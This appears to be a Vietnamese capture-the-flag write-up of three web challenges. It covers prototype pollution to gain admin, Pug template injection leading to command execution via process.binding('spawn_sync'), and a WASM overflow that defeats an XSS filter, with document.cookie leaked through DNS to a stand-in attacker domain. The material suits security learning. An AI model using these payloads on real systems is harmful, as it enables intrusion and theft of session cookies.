W1 Playground Writeup
Bài 1: easy login
Phân tích qua code thì chúng ta có 2 endpoint cần để tâm là “/login” và “/admin”
Chức năng login bắt chúng ta post data lên và server sẽ trả lại mã jwtkey để chúng ta đăng nhập Chức năng admin kiểm tra xem chúng ta có phải admin không qua isAdmin=true
sau khi phân tích jwtkey Sau khi phân tích bài này dính lỗi Prototype Pollution bằng cách thêm logindata["__proto__"][isAdmin]=true
vào thì prototype của logindata
sẽ có thuộc tính isAdmin=true
từ đó logindata sẽ kế thừa thuộc tính đó Payload
Có jwtkey rồi thì vào admin để lấy flag thôi
Flag : W1{REDACTED}
Bài 2: render4free
Phân tích qua code thì web này đang sử dụng Pug template engine để in ra các ký tự chúng ta gõ vào Sau khi phân tích code thì chúng ta có thể rút ra web đang dính lỗi SSTI nhưng có 1 function này đang chặn chúng ta khai thác SSTI
Sau khi đọc pug document thì chúng ta có thể sử dụng “-“ để viết code js
Bây giờ chúng ta có thể dùng “-“ để viết code js thì chúng ta viết gì ? Đó chính là ghi đè lại function filter ký tự của chúng ta
- global.replace_bad_char = str_to_replace => str_to_replace
Tiếp tục ghi đè lại function trên để chúng ta có thể thực hiện lệnh eval
- global.replace_bad_char = str_to_replace => eval(str_to_replace)
Sau khi ghi đè được rồi thì viết vào để thử thực hiện RCE nào Payload require('child_process').exec('ping hacked.sv')
Làm gì dễ thế anh Shin24 (author bài này) đã set type của nodejs là module tức chúng ta không thể require mà phải sử dụng import Nhưng mà code đã chỉnh Promise.prototype.then đã thành 1 hàm trả về null
Oat gì dark vậy, lúc này chúng ta sử dụng process.binding để import các modules của nodejs
1
2
3
4
5
6
7
8
process.binding('spawn_sync').spawn({
file: 'ls',
args: [''],
stdio: [
{ type: 'pipe', readable: true, writable: false },
{ type: 'pipe', readable: false, writable: true },
{ type: 'pipe', readable: false, writable: true }
]}).output.toString()
Ngon vậy là có thể thực hiện lệnh ls Để ý ở file Docker author đã tạo ra 1 file /read_flag để đọc flag vậy chúng ta thực thi file read_flag để nhận flag
Payload:
1
2
3
4
5
6
7
8
process.binding('spawn_sync').spawn({
file: '/read_flag',
args: [''],
stdio: [
{ type: 'pipe', readable: true, writable: false },
{ type: 'pipe', readable: false, writable: true },
{ type: 'pipe', readable: false, writable: true }
]}).output.toString()
Flag: W1{REDACTED}
Bài 3: Super sanitizer
Tóm tắt bài web này sử dụng WASM được compile từ C và sử dụng nó để xử lý input của user File C nhận input của user và blacklist để xử lý nếu có ký tự blacklist thì ký tự đó sẽ bị xoá khỏi input của user
Blacklist của bài này như sau <imgoner='\"'>
Lỗi của bài này nằm ở đây
Khi chúng ta cho 1 ký tự có độ dài là 0x300
thì raw_str[0x300]
sẽ bị tràn và sẽ ghi đè lên ký tự đầu tiên của blacklist là \x00
từ đó blacklist sẽ trở thành rỗng -> bypass filter
Nhưng đến đây thì vẫn chưa xong, web có CSP để làm XSS khó hơn
Sau một lúc fuzzing để kiểm tra thì dù CSP chặn redirect nhưng window.location.href=hackerwebsite.com
vẫn resolve dns vậy ta có thể tận dụng cái này để leak flag do flag khá dài nên mình leak 2 lần để lấy flag (ví dụ flag.hackerwebsite.com
)
Nhưng leak kiểu gì? Mình đã thử leak kiểu btoa(document.cookie)+".hackerwebsite.com"
nhưng khi leak thì vì lý do bảo mật dns query sẽ ngẫu nhiên uppercase hoặc lowercase các ký tự làm base64 bị lỗi nên nghĩ sang cách khác là document.cookie.charCodeAt(0->document.cookie.length-1)
để leak ra từng ký tự của flag sang mã ascii
Payload các bạn tự craft nhé
Flag: W1{REACTED}